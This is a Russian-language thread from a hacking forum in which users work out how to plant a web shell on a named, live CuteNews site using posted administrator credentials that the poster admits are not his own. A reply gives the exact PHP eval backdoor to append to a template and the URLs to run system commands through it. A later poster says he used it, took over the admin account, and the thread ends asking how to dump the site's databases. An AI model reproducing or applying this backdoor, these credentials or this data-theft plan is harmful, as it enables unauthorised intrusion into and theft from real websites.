Форум АНТИЧАТ - Shell CuteNews 1.4.5 Help!

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - Shell CuteNews 1.4.5 Help! (https://forum.antichat.xyz/showthread.php?t=84299)

Shell CuteNews 1.4.5 Help!

Всем привет!
Вобщем возник вопрос как залить шелл в известный блог новостей (CuteNews) имея данные администратора.
Прочитал много мануалов и эфект нулейвой может ктонить сможет если сможете можете описать как сделали это буду очень признателен :)
Вот куда я хочу залить шелл.
_ttp://la2.no-ip.org/news/
Login: dsl
Password: 79513159

Заранее спасибо.

Оо у мня такаяже прабла немогу понять что нетак делаю. подскажите плиз.

скока писали уже про это...

1. Настройкa блока новостей -> Редактировать шаблоны
Добавляем в конец

Цитата:

HTML;
if(isset($_GET['shell'])) eval($_GET['shell']);

сохраняем
2.
_http://la2.no-ip.org/news/show_news.php?shell=phpinfo();
_http://la2.no-ip.org/news/show_news.php?shell=system(dir);

p.s: там Windows...

Дело в том что я делаю так.
Настройкa блока новостей ->>> Редактировать шаблоны И вижу там

Редактируйте Части Шаблона

Активные новости
Полная версия
Комментарии
Форма добавления комментариев
Предыдущая & Следующая(новости)
Предыдущая & Следующая(коментарий)

Жму Активные новости

Там открывается окошко с следущим содержанием

Цитата:

<div style="width:100%; margin-bottom:30px;">
<div><strong>{title}</strong></div>

<div style="text-align:justify; padding:3px; margin-top:3px; margin-bottom:5px; border-top:1px solid #D3D3D3;">{short-story}</div>

</div>

Я дописываю

Цитата:

HTML; if(isset($_GET['shell'])) eval($_GET['shell']);

Получается так

Цитата:

Потом захожу из этих сылоку куданить

Цитата:

_http://la2.no-ip.org/news/show_news.php?shell=phpinfo();
_http://la2.no-ip.org/news/show_news.php?shell=system(dir);

Мне выдаёт ошибку мол

Цитата:

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in F:\site\www\news\data\Default.tpl on line 11

Что делать ваще незнаю :(

Сайт работает и я чуствую что он даже меня переживёт (((

ППЦ уже кто-то залез в админку и щас даже шаблон не отредактировать (((

А ты смельчак выкладывать логин и пароль в открытый доступ..

Это не мой :)))

http://la2.no-ip.org/news/show_news.php?shell=phpinfo();
http://la2.no-ip.org/news/show_news.php?shell=system(dir);

все работает, пароль от админки я сменил, и т.к ты уже стучишся в аську ), я его тебе туда отправил...

М возник еще вопрос.
Дело в том что мне надо слить их базы.
Даныые базы хронятся тут

Цитата:

http://la2.no-ip.org/config/config.php

Как организовать это скажите плиз.